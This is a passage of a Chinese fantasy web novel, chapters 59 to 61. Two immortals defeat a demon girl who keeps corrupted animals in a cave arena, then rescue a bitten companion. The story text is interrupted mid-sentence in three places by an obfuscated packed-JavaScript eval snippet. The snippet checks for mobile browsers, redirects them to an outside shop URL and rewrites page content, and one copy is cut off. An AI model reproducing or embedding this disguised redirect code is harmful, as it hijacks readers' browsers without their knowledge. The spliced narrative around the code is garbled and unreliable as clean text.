然后在慕小闲“温柔”的目光中,阿寐欢快地跑去华尧那里作死:“嘻嘻,大哥哥,你来陪我玩儿嘛。我这里有好多好多玩具,你喜欢吗?大哥哥你为什么不说话,大哥哥快过来陪我玩儿呀!” 华尧冷冷地睥了她一眼,她话音一颤,莫名有些紧张。 “吵死了。”华尧薄唇微启,眼里露出烦躁之意:“在我动手之前,滚。” 阿寐圆溜的眼里露出一丝惧意,退后几步一转身又恢复了最初单纯的表情,仿佛刚才什么也没发生一样,蹦蹦跳跳地向洞内跑去,边跳边唱起来:“一只小兔子,夜里不回家。一只小山猪,哭着找妈妈。一只小黑熊,突然入梦了。梦里有什么,猴子变大了。” 59. 第 59 章 她诡异的歌声在洞口处回荡,歌词仿佛在预示着什么,听得慕小闲一阵恶寒。 阿寐在洞口停下,乖巧地回头望向他们,嘴角泛起甜甜的笑容,眼中带着期待之色,似乎在邀请他们一同进入洞内。 华尧和慕小闲相视一眼,不约而同地向她走去。 洞内燃起幽幽火光,复行数十步,来到一个三岔路口。阿寐背着手站在中间,瞪着大眼睛,两只马尾辫随着脑袋左摇右晃。 “你们猜猜他在哪边?猜错了可是有惩罚的。” 慕小闲眼皮一跳,故意往前迈了一步,阿寐立刻挡在她面前,抬起下巴趾高气昂地看着她:“姐姐,你要遵守游戏规则哦。” 慕小闲看着她身后三个通道头疼起来,没有一点提示,她应当怎么判断。 “如果三个都不在呢?” 阿寐眼珠子转了转:“不,他就在里面。” 慕小闲回头看向华尧,低声问:“怎么办?” 阿寐现在唇边强压下的笑意,分明就是认为他们没有胜算。她为什么认为他们一定没有胜算?里面一定有诈。 慕小闲吐出一口气,沉下心感应须臾,前方的气息非常杂乱。空气中微弱的臭味与血腥气混杂一起,仿佛闯入了屠宰场,令人作呕。 “你觉得是哪个?”她小声问。 华尧的眼神从左到右缓缓扫过,思忖道:“我有一个问题。” 阿寐摇摇头:“不可以再提问题。” 华尧身上的煞气立马燃起,向阿寐施加威压。 阿寐脸上一僵:“住手!好吧,就一个问题。不能再多了。” “答案是否唯一?” 阿寐歪着头,眨了眨圆圆的眼睛,嘴角的笑容扩大:“当然。” 她端正了脑袋,拍拍手:“好了,快点给答案吧。” 华尧沉着脸说:“其中有两条路是相通的。如果我们选了其中一条,你就会说是另一条。” 慕小闲一惊,转头看向阿寐。 阿寐眼波闪烁,依然笑眯眯地看着他们:“那又如何?选出来,我就带你们进去。” 华尧停顿了一下:“左边与中间通往同一个地方。” 阿寐的嘴角有些绷不住,脸色不好看起来:“你怎么知道?” “这两条的血腥气更重。” 慕小闲再次定睛细看,恍然明白过来,当初元卓半途清醒,一路摸索到了掩藏动物尸体的地方,是因为他所在的位置与之是相连的。 连她都能察觉到空气中的异样,天界上神分辨出具体方位也不奇怪。 慕小闲扬起嘴角:“现在我们可以进去了吧?” 阿寐恢复了笑意,眼里泛着欣喜的光芒,甜甜地点点头,转身向内走去。只是转身的瞬间,眼里的光芒褪去,脸上笑意全无,挂上一种阴郁的神情。 左边的通道向前延伸,不一会儿他们由通道指引,进入了一块略微宽阔的房间。通道拐向的另一侧,飘来一阵恶心的血腥气和腐臭味,空气也变得阴沉潮湿。 慕小闲一眼就看到了小十一,他挺直身体、垂头坐在一张圆桌旁,刘海的阴影挡住了上半边脸,看不见表情。 “小十一?”慕小闲叫了一声,他像是没听见似的一动未动。一时间,山洞里回荡着慕小闲的声音。 一丝恐慌从心底慢慢的爬上心尖,慕小闲看向阿寐的眼神变得狠戾起来。 “他怎么了?” “嘘,小哥哥睡着了。他醒来后就能陪我玩儿了。”阿寐望着小十一,眼睛一眨不眨,闪烁着幽幽星火。 “在他醒来之前,你们陪我玩儿吧。”阿寐悠悠转过头。 华尧上前一步,挡在慕小闲身前:“玩什么?” 阿寐眼珠转了转:“一二三木头人!” 慕小闲在华尧身后扯了扯嘴角,被阿寐敏锐地察觉到了。 “姐姐你不想玩儿吗?”阿寐睁着大眼睛,瘪着嘴看着她,像受到了极大的委屈。“不想玩儿的人会受到惩罚哦。” 如果这是个恐怖故事或是无限流游戏,那么主角团别无选择,只能在查明情况之前按照NPC的规则行动。但事实并非如此,他们都是凌驾于规则之上的神仙,为什么要陪阿寐玩神他妈木头人? “什么惩罚?”慕小闲问。 “会......”阿寐凑近了,与慕小闲对视,眼睛分明直勾勾地看过来却让人觉得她的瞳孔在旋转,樱桃红唇嚅动,魔性的声音传来:“会、变成我的玩具哦。” 慕小闲仿佛被她的眼睛深深吸引,脑中忽然一片空白,身体也跟着动弹不得。 须臾,华尧在她肩头轻轻拍了一下,慕小闲才后退一步,目光从阿寐身上挪开,重重喘了一口气。 阿寐垂眸一笑,望着华尧的目光冷了几分。 缓过神来的慕小闲越发觉得阿寐十分诡异,她突然灵光一现,问:“你的那些玩具呢?我也想玩儿,给我看看。” 阿寐:? 慕小闲眼中闪着兴奋的光:“一二三木头人土得掉渣了,谁还玩这种古早游戏,我们来玩玩具吧。你不是有很多新奇的玩具吗,怎么一个都没见着?该不会是骗人的吧?” 阿寐迟疑了一下,眼中闪过一丝恼意,压着眉说:“才不是骗人的!” 她转身气冲冲地将他们带出房间,走向了第三条通道。 这条通道狭窄且漫长,空气中浓烈的血腥气更甚,几乎让人无法呼吸。但阿寐却神情坦然,丝毫没有受到影响,迈着轻快的步伐向深处走去。 走了不知多久,面前的通道被一堵石墙拦住去路。阿寐走到石门前,不加掩饰地结了个印,石门缓缓移开...... 阴冷的空气随着缓缓打开的缝隙泄出,像寒霜一样降在他们身上,慕小闲起了一身鸡皮疙瘩。 巨大的洞穴,宽阔高挑,约有七八层楼高,石壁上挂着几盏盈盈烛火,火光随着通道挤入的气流猛地一窜。慕小闲跟在华尧身后缓缓走进去,十分警惕地扫视四周,眼神一变。 昏暗的光线下,干涩的峭壁上镶嵌着一个又一个坚固的笼子,像一间间摞起的小房子,将他们围在中间。随着他们靠近,笼子里冒出两点紫色的幽光,一个接一个,几乎所有的笼子都被点亮。 幽光铺天盖地,低沉的喘息声从四面八方传来。 仿佛有无数眼睛在暗处盯着你,伺机而动。 令人窒息。 这就是她的玩具。 是魔化的动物吗? 慕小闲注意到脚下的空场画着一个巨大的圆形图案,像是某种图腾或者标志,图案上附着着暗沉的痕迹。这种感觉...... ......就像是斗兽场。阿寐在慕小闲眼中愈发变态起来。 阿寐骄傲地抬头,目光从峭壁上略过,仿佛在欣赏自己收藏的艺术品:“你看!这些就是我的玩具!我没骗你们吧?姐姐,你要和它们玩吗?” 阿寐诱惑道:“打败它们会有奖励哟。” “什么奖励?” “嗯......”阿寐歪着脑袋,转了转眼珠,外表天真无邪,但怎么看怎么透着诡异:“或许可以获得永生哦。” 慕小闲:永生?你骗骗外头的村民就罢了,这里谁还不是呢? 华尧目光冷沉道:“如果打败你呢?” 阿寐一愣,眼神瞬间紧绷,然后突然柔和地眯着眼笑了起来:“大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137723|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥哥怎么能对阿寐动手呢?好害怕啊!” 她软糯的声音在石壁上回荡,慕小闲只觉得一阵风刮过,耳边“砰”地一声,华尧已经掐住阿寐的脖子,将她猛地惯倒在地上。动作简单粗暴,不给人挣扎的余地。 华尧能够忍耐到现在已是不易,慕小闲表示理解。 “它们由你操纵,打败你就是打败它们。” “呜呜呜......好痛啊......”阿寐口中哼哼着,但脸上的表情却并不痛苦,瞳孔浮现了一圈紫色的光环。 “哗哗哗哗” 头顶的笼子传来震动,铁栏被撞开,几下重物落地,山洞内的气息变得愈发紊乱起来。 不好! 几十只黑影将他们团团围住,慕小闲向华尧靠近了几步,眼睛一眨不眨地看着从笼子里跑出来的......魔兽...... 这也太多了。仿佛闯进了一个大型动物园。 “哈哈哈哈哈你们终究是落入了我的手中!大哥哥,你以为你们能打败我吗?”阿寐的声音幽幽从华尧手下传来。 华尧嗤笑一声,蔑视道:“你不是第一个这么跟我说话的。”他手下微微用力,释放出一圈淡金色仙力:“他们都死的很惨。” 慕小闲对华尧毫不担心,如果华尧连个阿寐都对付不了,那天庭也就没人了。但眼前这些乱七八糟的魔兽她该怎么对付? 有没有那种一下子就能将它们轰轰了的仙术...... 身型庞大的老虎迈着矫健的步伐走来,对着慕小闲张开血盆大口,一声如雷的猛虎咆哮在山洞里回荡,整座山在魔音的笼罩下颤抖。 慕小闲被吼得闭上了眼睛,心想它这么吼怕是山洞又要塌了。人不能在同一件事上跌倒两次,于是她重拳出击,先遥遥朝狮子的嘴上划了一笔,给它贴了封条。 一般只有别人想让她禁言,没想到她也有禁言别人的时候。 老虎方才还瞪着冒紫光的眼睛,咧着大口露出锋利的牙齿,气势汹汹地朝他们走来。半路,嘴突然“啪”地合上,利齿磕破嘴唇流下一行血迹,眼神出现了一丝呆滞。 “打就打,别吓叫唤。听到了吗?”慕小闲指着狮子对周遭几只蓄势待发的动物说教道。 出人意料的是,魔化的动物居然从慕小闲的语气中听出了一些威胁的意思,洞穴里一时悄然无声。 “啊哈哈哈哈哈哈哈”阿寐挣脱了华尧的桎梏,飘在空中大笑不止:“看来这里有位驯兽师,真是让人惊喜呢。”她眯了眯眼睛,语气里有些不悦:“你到底是谁?” 慕小闲对着阿寐挑了下眉:“我谁也不是,你专心挨揍。” 话音未落,阿寐就被一道光球砸在峭壁上,石壁上的牢笼坍塌,簌簌土灰倾泻下来,让她整个人蒙上了一层灰暗。 慕小闲冲华尧不满道:“你动作也小一点!” 阿寐从峭壁上支起身体,鬓边几缕碎发耷拉着,眼里露出一丝戾气:“大哥哥,你对女孩子都不手下留情吗?” 趁老虎没动静,杀红了眼的公山羊成群结队地朝慕小闲冲撞过来,魔化后放大几倍的巨型羊角像两把蜿蜒的权杖。 慕小闲在“乱棍”中躲闪,向后一跳,躲过攻击,指着山羊和老虎:“你们是天敌吧?你们合作对得起自己的天性吗?” 羊群煞有其事地“咩咩咩”乱叫,好像在与她争辩,但慕小闲没听懂,只好放弃沟通。 魔兽们蠢蠢欲动,连成一片的黑影带着粗重的呼吸声向慕小闲靠近,她的目光从它们庞大的身躯上一一扫过。 驯兽要是有鞭子就好了...... 鞭子?她好像在哪儿见过有人用鞭子...... 60. 第 60 章 慕小闲在猛兽的围攻下硬生生接了一招,旋即提气向上跃起,在半空一个翻身,眼前飞旋的景象让她产生了一丝熟悉。 上次好像也是在空中...... 对,在她逃出北溟海极时,白衣对战天兵天将的那次!那种像鞭子一样的仙术! 慕小闲落地的瞬间,面对向她呼啸而来的巨掌,身前忽而幻化出几把冰刃,扎入肉身顿时血花四溅。她侧身躲过另一轮攻击,飞溅的血液带着一丝残留的魔气从她的脸颊划过,沾着微微有些刺痛。 耳边几声轰鸣,碎石哗哗滚动,烟尘弥漫下,阿寐从凸出石壁上纵身一跃,与华尧再次缠斗在一起。 不需顾及他们,慕小闲伸手释放仙力,白色气体犹如水雾一般从她掌心渗出,呈一条直线向前延伸。仙力本无形,若要凝结成任她驱策的长鞭,需要高度的掌控力与专注度。 慕小闲在攻击与躲闪中猛地握紧了拳头,手中本如气体的仙力像炸了毛一般,凝起根根坚固的银针......魔兽在她四周徘徊,有些摸不着头脑,不敢贸然上前。 就见她举起一米长的冰坨坨,一脸无语地说:“我是要鞭子,不是要狼牙棒!” 冰柱“嗖”地一声气化,头顶传来一声:“将你的仙力分散再凝结成鞭!” “大哥哥,你还有心思管别人吗?”阿寐的轻笑道,语气中夹杂着浓烈的不满。 慕小闲将暴跳的几只兔子掀翻在地,集中精力将手中的仙力分化成一缕青烟,稀薄的青烟随着洞内的气流缓缓飘散,逐渐分散在魔物四周,将他们包裹在朦胧的雾色中。 地面上几只炸毛的山猫对着四面八方高高弓起身体,呲着牙齿凶狠又警惕地对着未知的气息。当云雾从眼前飘过时,挺起上身伸出利爪在空中狠抓,发出尖利的咆哮。 慕小闲猛地握拳,流动的云雾仿佛也被握住一般定格。 她眼神一凌,弓步、扬起另一只衣袖,握拳的手横向一抽,那云雾竟又快速流动起来,不过向着她的方向抽离而去。惊得几只动物睁大眼睛,向空气中缥缈的雾气胡乱啃咬。 有了! 慕小闲面露喜色,凝成的仙力仿佛收束成一条坚韧的白色长鞭,抽出的瞬间绊倒了一只粉嫩小猪。 小猪哼哼爬起来,两眼通紫,嗷嗷就要冲慕小闲复仇,被她一脚踢开。 “你爸都打不过我你省省吧!” 慕小闲双臂放松,扬起衣袖对着魔物密集处甩鞭,几道白光如飘然的云雾从间隙中穿过,而后猛然抽离,“啪啪”几声,几只魔物仿佛触电一般浑身一颤,身上霎时浮现几道伤口。 可怜那只被封口的老虎,疼得双眼垂泪,哼哼唧唧叫不出来 耳边突然传来一阵气流声,慕小闲向侧前方闪躲,偏头一看,阿寐脸上已经挂了彩,身上衣物沾满了浑浊的血花,眼神也不似方才那般轻松。 奇怪,华尧在搞什么? 慕小闲抬头看向半空中依旧有条不紊的华尧,疑惑出声:“你不会连个阿寐都打不过吧?” 华尧原本无甚表情,听了这话突然觉得心中不爽,带着怒气慕小闲吼道:“还不是因为你!” 莫名其妙!慕小闲扬起一鞭,将靠近想要偷袭的魔物抽倒在地:“我绑着你不让你动手了吗?” 半晌,华尧抡起光球毫不犹豫向阿寐砸去:“烦死了!你在会让我分心!” 慕小闲眉头蹙起,他是不是在暗示她拖后腿了? 阿寐与光球擦肩而过,但被光球外晕烧断了一侧的辫子,头发披散下来,遮住了半边脸颊。她掩在乌发之后的眼眸泛着阴沉的光,张开嘴露出獠牙:“你们聊够了吗?” 阿寐瞬间腾空数十丈,弓起身,双掌间紫光一闪,地面的动物居然也飞起几只,目眦欲裂朝华尧扑去。华尧蹙眉脸上有些不耐烦,但身形却稳如行云流水一般在攻击中躲闪。 如果说慕小闲刚才对这些被魔气侵蚀的动物留了些情面,那么华尧下手便可以说是毫不留情,他看准时机,极具爆发力向他们一顿狂轰,将三只还未近身的动物狠狠掀翻在石壁上,将石壁砸出了几个坑。 土石迸射四散,土灰四处飞扬,地面剧烈震动。 慕小闲张了张嘴欲言又止,扭过头专心对付眼前的魔物。眼前横七竖八,剩下的几只魔物在障碍物之间徘徊,恶狠狠地冲着她,但却不敢轻易靠近。 老虎不愧是百兽之王,就算封住了嘴巴,气势上依然压了其他动物一头。它扬着圆圆的脑袋、瞪着双目,身上燃着熊熊紫焰。 它死死盯着它的猎物,浑身紧绷,蓄势待发,眼里透着志在必得光芒,向慕小闲走来。 过半场时它腿上的伤口突然裂开,在众目睽睽之下,身子一歪虚晃一下,趁大家没反应过来立马站好,云淡风轻的样子好像什么也没发生过一样。 慕小闲噗嗤一声,还挺可爱的。 老虎怒不可遏,气的浑身发抖,大口居然挣脱了封印,一声响彻云霄的咆哮震得慕小闲出现了嗡嗡耳鸣。它弓起身,一个助跑,像一团紫色狂风向慕小闲袭来,仿佛幻化出重重虚影。 慕小闲双腿开立,眯着眼睛手持长鞭,目光在虚影上流连。 突然锋利的巨爪如蛟龙出海,破影而出,一举杀到了慕小闲头顶,犹如一团黑云将她笼罩在阴影之下。 慕小闲眼皮一跳,展身甩开长鞭,缠绕在峭壁笼子的栏杆上,在巨掌压下的瞬间借力从缝隙中溜走。巨掌之下,地面出现了数条裂缝。 紧接着,老虎对着慕小闲空中的身影又扑一掌,慕小闲一甩鞭将它的爪子打歪,在峭壁上连跳几下,借力从它身边躲开。 长鞭消失在手中,慕小闲一蹬腿离开了石壁。身后乱石穿空,刚才歇脚的位置已经被砸得满目疮痍。 慕小闲在空中亮出双掌:“你用掌那我也用掌好了,输了别说我欺负你。” 老虎扭头愤怒地张开大口,龇牙咧嘴向慕小闲咬去。 慕小闲一愣:“这个我恐怕不行。” 她伸出手,掌中迸射出两道耀眼的白芒,如两道弓箭相互交叉缠绕着冲向老虎狰狞的脸庞...... 老虎咆哮一声身上的气焰高涨,像一团晕染开的紫色水墨。 两股力量相撞,紫色猛然一窜,白芒势如破竹在老虎眼前炸开几道烟花,将狂躁的老虎包裹起来,形成一个发光的白团。紫焰从空隙中探出,不一会儿就被白团吞噬殆尽。 不远处,一道衣衫褴褛的紫影重重砸在地上。 “可......恶......”她挣扎着抬起头,握紧了拳头想支起身体,身体却不受控制地跌了回去。 白芒在魔气净化后褪去,露出一只瞪着眼睛、有些懵逼的老虎,对着慕小闲吞了吞口水。 慕小闲向它走去,老虎朝她呲了呲牙,发现没有什么用后,胆战心惊地往后退。逼到角落,老虎靠着石壁立起上身,两只前爪举在脑袋两侧,时不时向前挥舞,抓一下收一下,阻止她靠近。 那样子仿佛在说:“你别过来啊啊啊啊啊啊啊——” 慕小闲转过身问旁边目瞪口呆的几只魔物:“还有要来的吗?” 剩下的几只小可怜集体退后三步摇摇头:不了不了。打扰了。 华尧落在地面,朝阿寐走去,对她伸出手...... 阿寐抬起血迹斑斑的脸,咧嘴:“大哥哥......放了我吧,我错了...... “我还小呢......你不可以欺负我。” 慕小闲轻哼一声,上前几步,语气强硬地问:“你在虐待动物时,有想过它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老虎朝她呲了下牙齿。 阿寐涕泗横流,精神恍惚起来:“别吃我!走开!” 老虎哼了一声,嫌弃地扭开头,往外走去。他还不稀罕吃这种不干净的东西! 阿寐松了一口气,剧烈的疼痛席卷而来,她两眼一翻昏死过去。 华尧没有理会这边的混乱,而是替动物净化身上的魔气。几道仙力分别射入几只晕倒的动物身上,紫色渐渐消失。 慕小闲也有样学样,净化了一只暴躁的山猫。 “喵”白芒褪去后,山猫眨了眨眼,舔了舔爪上的毛,乖巧地叫了一声。 “小猫咪。”慕小闲轻轻抱起它,它毫不客气地给了她一爪,挣扎着从她身上跳下来,沿着通道一路窜走了。没想到今天慕小闲唯一一次被打到是这种情况,猫真是魔性极强的动物啊。 “她可以净化吗?”慕小闲看着趴在地上奄奄一息的阿寐。 “不行。她是魔族。”华尧手中未停,继续净化余下的动物。 “她应该怎么处理?” “我要将她带回天庭,听天帝发落。” 话音刚落,地上突然燃起紫色的火光,噼里啪啦冒着火星。燃烧的火焰吞噬了阿寐的身体,她痛苦的蠕动,口中发出嘶嘶的声音,不一会儿就僵直成了一块。 “怎么回事?”慕小闲后退几步。 华尧敛眉,收回手,神色凝重地望向洞口的方向,唇抿成了一条严肃的线。 “她自焚了。” 慕小闲顿时瞪大了眼睛:“怎么会......” 华尧眼中愈发深沉,望向洞口处,道:“先去看看小十一。” 61. 第 61 章 小十一紧闭双目卧在地上,华尧半蹲在他身侧检查。他撸起小十一的袖子,小臂上赫然有一个还未结痂的牙印。 华尧拧眉道:“他也被咬了。” 慕小闲紧张道:“他会变成僵尸吗?” 华尧瞥了她一眼:“我处理了伤口的魔气,但他年纪小,体内的仙力不稳定,可能会有魔气残留,需要多观察几日。” 慕小闲点点头,也蹲在小十一身旁仔细观察,从头发丝儿到脚尖来回看了两遍,没觉得他和平日有什么不一样,一抬眼发现他不知何时睁开了眼睛。 “你醒啦。” 小十一双目怔然,突然立起上身,对慕张着大口朝慕小闲袭来。 慕小闲神色淡定地举起手,毫不犹豫地从眼前挥过,一巴掌将小十一的头都给打歪了。 小十一歪着脑袋,倒在地上眨了眨迷茫的眼睛,须臾眼里恢复了清明,捂着红肿的脸冲慕小闲大叫:“你打我做什么?” “看你不爽就打了。”慕小闲一副“你奈我何”的表情。 小十一跳起来,伸出拳头在空中挥舞:“你早就想打我了吧!” 慕小闲虚指了一下他的手臂,他侧目一看,上头多了两道没见过的痕迹。 这印子......怎么那么像牙印? 慕小闲挑了下眉:“啧,你不干净了。” 小十一张了张嘴,愣怔地看着慕小闲,又看了眼抱着双臂倚靠在墙边的华尧,慢慢回忆起先前发生的事情,放下手嚎啕大哭:“哇啊——” 那声音真是一言难尽。 慕小闲无语地伸出手去拍拍他的肩膀,以示安慰:“没事没事,你就当被狗咬了......” 小十一躲开她的手,红着眼带着浓浓的鼻音问:“你打败她了吗?” 慕小闲应了一声,道:“打败了。你只是被咬了一口,她可是失去了生命啊。” 小十一一惊:“她死了?” 慕小闲点点头。 小十一眨了眨眼,眼底的惊恐还未完全消退。 “那天晚上发生了什么?”华尧问。 小十一抬起头,面露尴尬道:“那天,我躲在草丛里看你们收拾那群魔物,仿佛听到一阵怪好听的声音,我就往声源处走了几步。那天晚上很黑,我没看清是什么东西就......就什么都不知道了。 “醒来后就被困在这里,那个女孩问我是谁,从哪里来,我当然不可能说实话。她很生气抓着我就咬,后来我又晕过去了。” “那天听到的声音是什么样的?” 小十一皱起眉头思索了一会儿:“记不清了,好像是某种乐器发出的声音,很特别,我说不上来。” 慕小闲垂眸思忖片刻,抬眼问:“你还有哪里不舒服吗?” 小十一摇摇头:“我没事,我可是青丘小霸王......”话音未落,他身体剧烈一震,黑色的瞳孔浮现一层诡异的紫色,顷刻间又变了回来,在紫色与黑色之间交替了数次。 他慢慢弯下腰,咬牙道:“我这是怎么了?” 慕小闲将小十一扶到角落平躺下来,柔声道:“别担心,你只是身体尚未恢复,还需休息一段时间。” 小十一很快安心睡去,慕小闲望着他的睡颜喃喃道:“魔气就这么厉害吗?” “嗯,仙力不稳定的神仙更容易被魔气干扰,不过他体内的仙力很纯净,应该能抵抗过去。”华尧顿了一下,安慰似的说:“我看着,不会有事。” 几天没合眼,慕小闲不一会儿打起瞌睡。恍惚之间感觉耳边十分喧闹,好像有人叽叽喳喳地在说着什么。 “她回来了诶,我们是不是有救了......” “她好像什么都不记得了......” “怎么办,我们要不要问问石灵?” “吵死了。”慕小闲捂住耳朵,周围立刻销声。 慕小闲被奇怪的声音扰醒,见华尧不在,遂走出山洞寻他。 夜晚的花神山比之前多了许多生气,华尧一袭黑袍融于夜色,紧闭双目在瀑布旁的岩石上打坐,坚实的背影像一堵高大的墙。哗哗溪流从水中银盘淌过,偶尔几颗水滴溅在衣料上,他好似没有察觉。 慕小闲悄悄走到他身旁,折了根细长的狗尾巴草,蹲在溪边蘸水玩儿。草尾巴沾了水垂下去,向上一甩,几点晶莹的水珠在空中划过一道弧线,溅落在奔腾的流水中。 头顶传来:“醒了?” 慕小闲一偏头,抬眼看向站在身侧的华尧:“嗯,你在修炼吗?” 华尧点点头:“青丘钟灵毓秀,使人身心宁静。” 慕小闲随手丢了狗尾巴草,站起身,好似夹着一丝炫耀:“我每日都是在山里修炼的。” “晏离,他待你如何?” “他待我自然不错。”慕小闲不加思索地脱口而出。 华尧冷哼一声:“真的?” 慕小闲望着夜色下潺潺流水,解释道:“我和他非亲非故,贸然登门拜师,他答应收我为徒,教我仙术,已是仁至义尽。” 华尧看着她,咬牙道:“是么?我怎么记得我曾经对你也不错,你却还想着逃走呢?” 慕小闲面上一晒,心虚地低下头:“我知道你虽然脾气不好,但是对我手下留情了。不过一码归一码,你是天庭上神,身份地位摆在那里,我待在鎏华殿有多少眼睛看着,委实不方便。青丘山林虽然荒僻,但是无人在意我是谁,我在这儿清静自在,修炼也能安心一些。” 华尧对她的解释不置可否,又道:“我听闻晏离......清心寡欲、不近人情,你不觉得烦闷吗?” “我是来修行的,又不是来交友的,他是不是清心寡欲有什么关系?”慕小闲反问道。 华尧目光沉沉:“你的仙术进步很大,定是他的功劳,有机会我要去拜会一下这位高人。” 慕小闲听出他语气不善,抬眼警觉道:“你想做什么?” 华尧不回答,转而说:“我提点你一下如何?” 慕小闲眼睛一亮,华尧何许人也?有他的提点她不是能立马更上一层楼!但若是被晏离发现了......她的眼神又黯了下去。 华尧看在眼里,微眯了下眼,释放出一丝危险的信号:“不想学?” “不是......”慕小闲有些尴尬:“师父不喜欢我自作主张,他要是因此不教我,我就得不偿失了。” 华尧的表情复杂起来,唇角露出一丝诡异的笑,语气带着一丝怒气:“他看得倒是紧。他不让,我偏要你学。他若问起来就说是我逼迫你的,让他来找我较量。” 慕小闲拧眉道:“可是我先前向你请教,是你说不教的。” “先前是先前,现在是现在。” 他这话倒让慕小闲大开眼界,现在仙门之间的竞争这么激烈了吗? 在华尧虎视眈眈下,慕小闲在岩石上坐定,闭上眼睛浑身僵硬地开始运行周身的仙力。 黑暗中,一只大手突然拍在她肩上,她吓得一颤:“你干什么?” 华尧在她肩头按了按:“放松。你就这点水平吗?” 慕小闲静下来,将腹部沉淀的仙力慢慢释放出来...... “万物有灵,感受他们向你传达的力量。” 慕小闲打开通感,静静地感受着...... 月亮高挂,与她身上皎若月光的仙力遥相呼应,竟然产生了一丝缥缈如纱的联结。 耳边又喧杂起来,像藏在大自然中的生灵在说悄悄话。 “她在做什么?” “她在修炼吗?” “我们怎么帮助她?” “我们把力量给她吧......” 山野中微弱的气息从四面八方飘来,汇聚在这里。呼吸之间,慕小闲感觉自己体内渐渐膨胀,好像有许多力量挤入体内。 不同于仙力,而是自然纯净朴素的力量。它们或许不会说话、无法自由移动,但却产生了灵体,有自己的力量。 华尧的手依然搭在她肩上,眉头一皱,她体内的仙力竟然不纯。除了那股源自白家仙法的仙力外,为何还有另一股仙力? 他沉默地站在慕小闲身后,盯着她的侧脸,吐息间微微煽动的眼睫,心跳突兀地打断了思绪。 一丝纠结从心底涌上来,舌根像喝了草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137725|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药一般苦涩,当初他要是没有放她走会如何。 他将自己的仙力凝成一丝细小的、无法察觉的丝线进入慕小闲体内探查,惊讶于她居然在短短时间内产生了如此庞大的仙力。再往下游走,快要探到腹腔时,突然被一股强劲的力量弹出。像鞭子在手心狠狠抽打了一下,他收回手,神色复杂地看着掌心滚烫的红痕。 这种仙力是? 他放下手,凝着眉看向慕小闲的背影,心里的怀疑犹如滚雪球一般越来越大。 慕小闲静坐在石头上,全然不知华尧内心的纠结,倒是与生灵的联结让她觉得又新奇又畅快。 对,畅快!像是整个人的感官都被打开了,她从来没有如此通透。 “集中注意力,将吸入的灵力转化为自己的力量,净化你的仙力。”声音沉沉地传来。 慕小闲皱紧眉头,双手在胸前做了个诀,身上发出淡淡微光。 这种力量十分轻柔,在她体内如同羽毛沉淀下来,与仙力逐渐融合......她手上的仙力突然增强几分,然后光芒变得更加温暖柔和。 她几日的疲惫被这种力量抚平,霸道的仙力渐渐缓和,内心变得平静无波,混乱的思绪也被解开。 天色渐亮,一串欢快的鸟叫从远方飘来。慕小闲睁开眼睛,仿佛只在一个呼吸之间就过了半夜,华尧已经离开多时。身后窸窸窣窣,一回头,见不远处的草丛中躲着几只松鼠,被惊动后向丛林深处跑去。 它们终于重见天日,花神山也恢复了生机。 。 早市热烈开张,与往常一样,平淡如水的日子在琐事中慢慢蒸发。 花神村最大的饭馆飘香楼,才一大早就有客人陆陆续续上桌了。 二楼窗边,慕小闲撑着下巴看着街上来来往往的人群,清风吹拂着她的刘海,她意兴阑珊地眯了眯眼。 桌上放着几个空空如也的碟子,旁边的残渣勉强可以看出他们刚才吃了水晶凤爪、芋头烧鸭,至于有没有吃到红烧狮子头......看慕小闲心满意足的样子,应该是没有遗憾的。 “终于结束了。”小十一感慨地说。 慕小闲“嗯”了一声,伸了个懒腰:“跟花莳说一声就可以走了。” 小十一擦嘴的手一顿,撇撇嘴:“跟他说什么?我们又不熟。” 华尧放下茶杯,看向慕小闲:“你要回晏离那里?” 慕小闲点点头。 华尧语气诚恳道:“我必须回天庭禀报这里发生的事情,如果你遇到了困难,可以来找我。” 慕小闲露出笑意:“行,你就是我在天庭的人脉了,以后苟富贵勿相忘。” 牛车从街上缓缓驶过,赶车的老伯带着一只草帽,悠哉地抖着脚。 慕小闲在街边买了一袋肉包,顺道去了花神庙。花神庙的门半阖着,光线随着推开的门挤入,照亮了小庙的石像。 小庙里十分安静,慕小闲四处走走,没有见到花莳的身影。 慕小闲抬腿想往外走,却感觉脖子上一阵寒意。她回头看了一眼曼妙动人的花神石像,斟酌了一会儿,小声说:“花神娘娘,我们已经把山里的东西解决了,如果花莳回来......我把包子藏在他的跪垫下面了。” 华尧乘祥云飞起,清风中黑金广袖衣袂飘飘,一派雍容大气。他深深睨了慕小闲一眼,说:“出门东西要带齐,再闯祸可没人来救你。” 小十一脸上一红,别有意味地瞥了慕小闲一眼,就见她轻哼一声:“要你管......好吧,谢了。” 华尧如墨的眼眸停留在慕小闲身上,似乎隐隐含着期待,可她什么也没说,还冲他摆了摆手。冷峻的下颚僵成一线,半晌华尧甩袖离去。 望着华尧的身影消失在天际,慕小闲突然一拍脑袋:“哎呀,说好他要给我当仙侍的呢?” 